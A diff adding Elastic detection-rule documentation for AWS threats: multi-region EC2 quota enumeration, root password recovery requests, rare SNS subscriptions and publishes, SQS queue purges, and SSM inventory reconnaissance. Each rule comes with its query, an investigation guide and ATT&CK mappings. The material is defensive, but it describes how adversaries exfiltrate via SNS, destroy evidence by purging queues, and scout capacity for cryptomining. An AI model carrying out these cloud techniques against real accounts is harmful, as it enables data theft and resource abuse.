+ + +*Triage and analysis* + + + +*Investigating AWS Service Quotas Multi-Region GetServiceQuota Requests* + + +AWS Service Quotas define usage limits for AWS services and are commonly referenced during capacity planning or automation. However, adversaries frequently enumerate EC2 on-demand instance quotas across many regions to identify where they can rapidly deploy compute resources for malicious purposes such as cryptocurrency mining, botnet hosting, or malware staging. This rule detects unusually fast, multi-region enumeration of the EC2 on-demand vCPU quota (`L-1216C47A`), a pattern that is uncommon for normal administrative activity and strongly associated with cloud infrastructure discovery. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine whether the requests originated from an IAM user, role, or assumed role. Validate whether this principal is expected to perform quota discovery or capacity analysis across many regions. + +**Evaluate the scope of discovery** +- Review the `cloud.region` values to determine which regions were queried and whether they align with regions normally used by your organization. Rapid enumeration of rarely used or disabled regions increases suspicion. + +**Inspect request origin and tooling** +- Review `source.ip`, `source.as.organization.name`, and `user_agent.original` to determine whether the activity originated from a trusted corporate network, known cloud automation environment, or an unexpected hosting provider or VPN. +- Unexpected user agents or hosting providers may indicate compromised credentials or an attacker-controlled instance. + +**Correlate with follow-on activity** +- Search for subsequent EC2-related actions such as `RunInstances`, `RequestSpotInstances`, `CreateLaunchTemplate`, or `ModifyInstanceAttribute` following the quota discovery. +- Review recent IAM activity for the same principal, including access key creation, role assumptions, or policy changes. + +**Assess intent and risk** +- Determine whether this activity aligns with a known operational task (capacity planning, onboarding, automation testing), or whether it represents unexplained reconnaissance behavior. +- If the principal is newly created, rarely used, or exhibiting other anomalous behavior, treat this as high risk. + + +*False positive analysis* + +- Multi-region quota discovery may be legitimate in organizations with global deployments, centralized cloud governance, or automated capacity monitoring. +- Infrastructure-as-code pipelines, quota management tools, or internal cloud platforms may periodically enumerate quotas. + + +*Response and remediation* + +- If the activity is unauthorized or suspicious, immediately rotate or disable access keys associated with the principal and revoke active sessions. +- Review CloudTrail activity for evidence of follow-on abuse, particularly EC2 instance launches, network changes, or IAM modifications. +- Apply tighter IAM permissions to restrict access to Service Quotas APIs where not explicitly required. +- Enforce MFA on IAM users and consider conditional access controls (such as source IP or VPC restrictions) for sensitive roles. +- Notify security operations and cloud platform teams to assess potential impact and determine whether containment actions (such as SCP enforcement or account isolation) are required. +- Update detection coverage to monitor for EC2 provisioning attempts following quota discovery to catch resource abuse early. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* METADATA _id, _version, _index + +// filter for GetServiceQuota API calls +| where + event.dataset == "aws.cloudtrail" + and event.provider == "servicequotas.amazonaws.com" + and event.action == "GetServiceQuota" + +// truncate the timestamp to a 30-second window +| eval Esql.time_window_date_trunc = date_trunc(30 seconds, @timestamp) + +// dissect request parameters to extract service and quota code +| dissect aws.cloudtrail.request_parameters "{%{?Esql.aws_cloudtrail_request_parameters_service_code_key}=%{Esql.aws_cloudtrail_request_parameters_service_code}, %{?quota_code_key}=%{Esql.aws_cloudtrail_request_parameters_quota_code}}" + +// filter for EC2 service quota L-1216C47A (vCPU on-demand instances) +| where Esql.aws_cloudtrail_request_parameters_service_code == "ec2" and Esql.aws_cloudtrail_request_parameters_quota_code == "L-1216C47A" + +// keep only the relevant fields +| keep + Esql.time_window_date_trunc, + aws.cloudtrail.user_identity.arn, + cloud.region, + Esql.aws_cloudtrail_request_parameters_service_code, + Esql.aws_cloudtrail_request_parameters_quota_code, + aws.cloudtrail.request_parameters, + @timestamp, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.ip, + cloud.account.id, + user_agent.original, + source.as.organization.name, + data_stream.namespace + +// count the number of unique regions and total API calls within the time window +| stats + Esql.cloud_region_count_distinct = count_distinct(cloud.region), + Esql.event_count = count(*), + Esql.aws_cloudtrail_request_parameters_values = VALUES(aws.cloudtrail.request_parameters), + Esql.event_timestamp_values = VALUES(@timestamp), + Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.source_ip_values = VALUES(source.ip), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.source_as_organization_name_values = VALUES(source.as.organization.name), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn + +// filter for API calls in more than 10 regions within the 30-second window +| where + Esql.cloud_region_count_distinct >= 10 + and Esql.event_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sign-in-root-password-recovery-requested.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sign-in-root-password-recovery-requested.asciidoc new file mode 100644 index 0000000000..405122b612 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sign-in-root-password-recovery-requested.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-aws-sign-in-root-password-recovery-requested]] +=== AWS Sign-In Root Password Recovery Requested + +Identifies a password recovery request for the AWS account root user. In AWS, the PasswordRecoveryRequested event from signin.amazonaws.com applies to the root user’s “Forgot your password?” flow. Other identity types, like IAM and federated users, do not generate this event. This alert indicates that someone initiated the root password reset workflow for this account. Verify whether this was an expected action and review identity provider notifications/email to confirm legitimacy. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://web.archive.org/web/20230930161727/https://www.cadosecurity.com/an-ongoing-aws-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sign-In Root Password Recovery Requested* + + +In AWS, a `PasswordRecoveryRequested` event from `signin.amazonaws.com` is only generated for the root user during the “Forgot your password?” workflow. Other identity types (IAM or federated users) do not trigger this event. A root password recovery request is a critical identity security event that could indicate a legitimate recovery by the account owner or a malicious attempt to gain full administrative access. + + +*Possible investigation steps* + + +- **Verify the event details.** + Review the alert fields (`source.ip`, `user_agent.original`, `cloud.region`, and `@timestamp`) to confirm when and from where the request originated. + +- **Confirm legitimacy.** + Contact the account owner or credential custodian to verify whether they initiated the password recovery. + AWS will also send an email notification to the root account email address, check whether the owner received and acknowledged this. + +- **Check CloudTrail for related events.** + Search for any subsequent `ConsoleLogin` events for the root user, or IAM changes (for example, `CreateAccessKey`, `CreateUser`, or `AttachUserPolicy`) shortly after the recovery request. + +- **Assess IP reputation and location.** + Validate whether the `source.ip` aligns with known admin networks or expected geographies. + Suspicious indicators include foreign IPs, anonymization services, or unfamiliar user agents. + +- **Correlate with other alerts.** + Review other AWS security detections (for example, root logins, MFA disablement, or IAM policy changes) around the same timeframe. + + +*False positive analysis* + + +- **Expected maintenance activity.** + If the root account owner confirms that the password reset was intentional (for example, for account recovery or planned credential rotation), the alert may be safely dismissed. +- **Testing or account verification.** + Security or compliance teams occasionally test password recovery flows. Confirm via ticketing or planned maintenance documentation. + + +*Response and remediation* + + +**Immediate actions** +- **If confirmed legitimate:** + - Ensure that MFA is enabled and operational for the root account. + - Encourage rotation of the root password if not recently updated. +- **If unconfirmed or suspicious:** + - Immediately reset the root password using the legitimate AWS recovery email link. + - Review the AWS account’s email for password-recovery notifications and secure that inbox (change its password, enable MFA). + - Check for new successful root logins or unexpected IAM changes since the recovery attempt. + +**Evidence preservation** +- Export the `PasswordRecoveryRequested` event from CloudTrail (±30 minutes). +- Preserve all `signin.amazonaws.com` and root `ConsoleLogin` events for the next 24 hours. +- Store this evidence in a restricted S3 bucket with Object Lock enabled. + +**Scoping and investigation** +- Review all root-level activities within the past 24–48 hours. + Focus on administrative actions such as `CreateAccessKey`, `UpdateAccountPasswordPolicy`, or `DisableMFA`. +- Correlate with GuardDuty findings and AWS Config change history for any unauthorized modifications. + +**Recovery and hardening** +- Confirm MFA is enforced on the root account. +- Rotate all root credentials and ensure no access keys exist for the root user (root keys should never be active). +- Secure the associated email account (password reset notifications are sent there). +- Enable Cloudtrail, GuardDuty, Security Hub, and AWS Config across all regions. +- Review account recovery procedures to ensure multiple custodians are aware of the legitimate process. + + +*Additional information* + + +- **AWS Incident Response Playbooks:** + and https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-CredCompromise.md[`IRP-Credential-Compromise.md`] for procedures related to root account credential recovery and unauthorized access attempts. +- **AWS Customer Playbook Framework:** + See https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Compromised_IAM_Credentials.md[`Compromised_IAM_Credentials.md`] for guidance on containment, evidence collection, and recovery validation. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html[AWS account root user best practices]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:PasswordRecoveryRequested and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sns-rare-protocol-subscription-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sns-rare-protocol-subscription-by-user.asciidoc new file mode 100644 index 0000000000..5cddd26cf4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sns-rare-protocol-subscription-by-user.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-aws-sns-rare-protocol-subscription-by-user]] +=== AWS SNS Rare Protocol Subscription by User + +Identifies when a user subscribes to an SNS topic using a new protocol type (ie. email, http, lambda, etc.). SNS allows users to subscribe to recieve topic messages across a broad range of protocols like email, sms, lambda functions, http endpoints, and applications. Adversaries may subscribe to an SNS topic to collect sensitive information or exfiltrate data via an external email address, cross-account AWS service or other means. This rule identifies a new protocol subscription method for a particular user. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_Subscribe.html +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Tactic: Impact + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SNS Rare Protocol Subscription by User* + + +This rule identifies when an SNS topic is subscribed to by a rare protocol for a particular user. While subscribing to SNS topics is a common practice, adversaries may exploit this feature to collect sensitive information or exfiltrate data via an external email address, mobile number, or cross-account AWS service like Lambda. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed using a protocol for the first time. + + +*Possible Investigation Steps* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the subscription. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- **Review the SNS Subscription Event**: Analyze the specifics of the `Subscribe` action in CloudTrail logs: + - **Topic**: Look at the `aws.cloudtrail.request_parameters` field to identify the SNS topic involved in the subscription. + - **Protocol and Endpoint**: Review the `aws.cloudtrail.request_parameters` field to confirm the subscription's protocol and endpoint, if available. Confirm if this endpoint is associated with a known or trusted entity. + - **Subscription Status**: Check the `aws.cloudtrail.response_elements` field for the subscription's current status, noting if it requires confirmation. +- **Verify Authorization**: Evaluate whether the user typically engages in SNS subscription actions and if they are authorized to do so for the specified topic. +- **Contextualize with Related Events**: Review related CloudTrail logs around the event time for other actions by the same user or IP address. Look for activities involving other AWS services, such as S3 or IAM, that may indicate further suspicious behavior. +- **Check for Publish Actions**: Investigate for any subsequent `Publish` actions on the same SNS topic that may indicate exfiltration attempts or data leakage. If Publish actions are detected, further investigate the contents of the messages. +- **Review IAM Policies**: Examine the user or role's IAM policies to ensure that the subscription action is within the scope of their permissions or should be. + + +*False Positive Analysis* + + +- **Historical User Actions**: Verify if the user has a history of performing similar actions on SNS topics. Consistent, repetitive actions may suggest legitimate usage. +- **Scheduled or Automated Tasks**: Confirm if the subscription action aligns with scheduled tasks or automated notifications authorized by your organization. + + +*Response and Remediation* + + +- **Immediate Review and Reversal**: If the subscription was unauthorized, take appropriate action to cancel it and adjust SNS permissions as necessary. +- **Strengthen Monitoring and Alerts**: Configure monitoring systems to flag similar actions involving sensitive topics or unapproved endpoints. +- **Policy Review**: Review and update policies related to SNS subscriptions and access, tightening control as needed to prevent unauthorized subscriptions. +- **Incident Response**: If there is evidence of malicious intent, treat the event as a potential data exfiltration incident and follow incident response protocols, including further investigation, containment, and recovery. + + +*Additional Information* + + +For further guidance on managing and securing SNS topics in AWS environments, refer to the https://docs.aws.amazon.com/sns/latest/dg/welcome.html[AWS SNS documentation] and AWS best practices for security. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "Subscribe" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: One-Way Communication +** ID: T1102.003 +** Reference URL: https://attack.mitre.org/techniques/T1102/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sns-topic-message-publish-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sns-topic-message-publish-by-rare-user.asciidoc new file mode 100644 index 0000000000..19712f7708 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sns-topic-message-publish-by-rare-user.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-20-aws-sns-topic-message-publish-by-rare-user]] +=== AWS SNS Topic Message Publish by Rare User + +Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_Publish.html +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Lateral Movement +* Tactic: Exfiltration +* Tactic: Impact + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS SNS Topic Message Publish by Rare User* + + +This rule identifies when a message is published to an SNS topic by a user who has rarely or never published messages before. This activity could indicate adversarial actions, such as using SNS topics for phishing campaigns, data exfiltration, or lateral movement within an AWS environment. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time by a user or role. + + +*Possible Investigation Steps* + + +- **Identify the Actor and Resource**: + - **User Identity and Role**: Examine the `aws.cloudtrail.user_identity.arn` to identify the user or role responsible for publishing the SNS message. Verify whether this actor is authorized to publish messages to SNS topics. + - **Access Key Details**: Review the `aws.cloudtrail.user_identity.access_key_id` to determine the access key used. + - **SNS Topic ARN**: Analyze `aws.cloudtrail.resources.arn` to confirm whether the SNS topic is critical, sensitive, or used for authorized purposes. + +- **Evaluate the Context of the SNS Message**: + - **Published Message Details**: AWS redacts the message content in CloudTrail logs, but you can view the message ID, subject, and other metadata. Investigate the message details for any indicators of malicious content. + - **Message Recipients**: Investigate the subscriptions associated with the SNS topic to identify if messages were sent to unauthorized or unexpected recipients. + +- **Analyze Source Information**: + - **Source IP Address**: Examine the `source.ip` field to identify the origin of the activity. Unusual IP addresses or geolocations may indicate unauthorized access. + - **User Agent**: Review `user_agent.original` to determine the tool or client used for publishing the SNS message. Automated tools or unexpected clients (e.g., `Boto3` from an unknown host) may signify misuse. + +- **Review Historical Activity**: + - **Actor’s Past Behavior**: Identify whether the user has published messages to SNS topics before. Review similar past events for context. + - **Frequency and Patterns**: Examine the time and frequency of messages published by the same user or to the same SNS topic to detect anomalies. + +- **Correlate with Other Events**: + - **IAM or CloudTrail Events**: Look for events such as `AssumeRole`, `CreateAccessKey`, or other API actions associated with the same user ARN. + - **Unusual IAM Role Activity**: Determine if the actor has assumed roles or performed administrative tasks atypical for their role. + + +*False Positive Analysis* + + +- **Routine Operational Use**: + - Confirm if the publishing activity aligns with standard operational tasks or automation scripts. + - Validate whether new or rare users were recently granted permissions for publishing messages to SNS topics. + +- **Testing or Monitoring Scripts**: + - Automated testing or monitoring tools may trigger this rule if configured to publish messages to SNS topics. + + +*Response and Remediation* + + +- **Immediate Action**: + - If unauthorized activity is confirmed, disable the access key or IAM role associated with the user. + - Restrict or remove permissions from the SNS topic to prevent further misuse. + +- **Review Policies and Subscriptions**: + - Audit the IAM policies tied to the user and SNS topic to ensure appropriate permissions. + - Validate the subscriptions of the SNS topic to confirm all endpoints are authorized. + +- **Enhance Monitoring and Alerting**: + - Set up additional logging or alerting for SNS publish actions, especially from rare or unknown users. + - Monitor for similar actions across other SNS topics within the environment. + +- **Conduct a Root Cause Analysis**: + - Investigate how the user or role gained access to publish messages to the SNS topic. + - Determine if other AWS resources or services have been affected. + + +*Additional Information* + + +For more information on SNS topic management and securing AWS resources, refer to: +- https://docs.aws.amazon.com/sns/latest/api/API_Publish.html[AWS SNS Publish API Documentation] +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html[AWS CloudTrail Documentation] + + +==== Setup + + +AWS SNS topic data event types need to be enabled in the CloudTrail trail configuration to capture the Publish action. Ensure that the AWS CloudTrail service is https://docs.aws.amazon.com/sns/latest/dg/logging-using-cloudtrail.html#cloudtrail-data-events[configured] to log data events for SNS. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"aws.cloudtrail" + and event.provider:"sns.amazonaws.com" + and event.action:"Publish" + and event.outcome:"success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Internal Spearphishing +** ID: T1534 +** Reference URL: https://attack.mitre.org/techniques/T1534/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sqs-queue-purge.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sqs-queue-purge.asciidoc new file mode 100644 index 0000000000..23493ee7cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sqs-queue-purge.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-aws-sqs-queue-purge]] +=== AWS SQS Queue Purge + +Identifies when an AWS Simple Queue Service (SQS) queue is purged. Purging an SQS queue permanently deletes all messages currently in the queue. Adversaries may use this action to disrupt application workflows, destroy operational data, or impair monitoring and alerting by removing messages that contain evidence of malicious activity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_PurgeQueue.html +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SQS +* Use Case: Threat Detection +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SQS Queue Purge* + + +AWS SQS is a managed message queuing service commonly used to decouple services and buffer events across distributed and serverless architectures. Purging a queue removes all pending messages and cannot be undone. While this may be required for maintenance or testing, adversaries may abuse this action to disrupt operations, delete forensic evidence, or evade detection by removing queued security or audit events. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `access_key_id` to determine who initiated the purge. Confirm whether this identity typically manages SQS resources and whether the action aligns with their role. + +**Review the affected queue** +- Identify the purged queue using `aws.cloudtrail.request_parameters` or `aws.cloudtrail.resources.arn`. Determine the purpose of the queue and whether it supports critical workflows, security tooling, or monitoring pipelines. + +**Evaluate the context of the action** +- Review the `@timestamp` to determine when the purge occurred and whether it aligns with maintenance windows or + deployment activity. +- Examine `source.ip` and `user_agent.original` for anomalies such as unexpected locations, automation tools, or + unfamiliar clients. + +**Correlate related activity** +- Search for other CloudTrail events from the same identity before and after the purge, including IAM changes, credential activity, or additional SQS operations. +- Look for signs of follow-on behavior such as queue deletion, policy updates, or attempts to suppress logging. + +**Validate intent** +- Confirm with the queue owner or application team whether the purge was intentional, approved, and expected. If no clear business justification exists, treat the activity as potentially suspicious. + + +*False positive analysis* + + +- Queue purges performed during routine maintenance, incident recovery, or test resets may be legitimate. +- Automated jobs or cleanup scripts may regularly purge queues as part of normal operation. + + +*Response and remediation* + + +- If the purge was unauthorized, immediately restrict SQS permissions for the affected identity and investigate for credential compromise. +- Assess operational impact and determine whether downstream systems were disrupted or lost critical data. +- Review recent activity to identify any additional attempts to evade detection or disable monitoring. +- Reinforce least-privilege IAM policies to limit which identities can perform `PurgeQueue`. +- Enhance monitoring and alerting for destructive SQS actions, especially in production environments. +- Work with application teams to document approved purge workflows and ensure adequate guardrails are in place. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sqs.amazonaws.com" + and event.action: "PurgeQueue" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc new file mode 100644 index 0000000000..f375fde019 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-aws-ssm-inventory-reconnaissance-by-rare-user]] +=== AWS SSM Inventory Reconnaissance by Rare User + +Detects the rare occurrence of a user or role accessing AWS Systems Manager (SSM) inventory APIs or running the AWS-GatherSoftwareInventory job. These APIs reveal detailed information about managed EC2 instances including installed software, patch compliance status, and command execution history. Adversaries may use these calls to collect software inventory while blending in with legitimate AWS operations. This is a New Terms rule that detects when a user accesses these reconnaissance APIs for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider_0.pdf +* https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-inventory.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 2 + 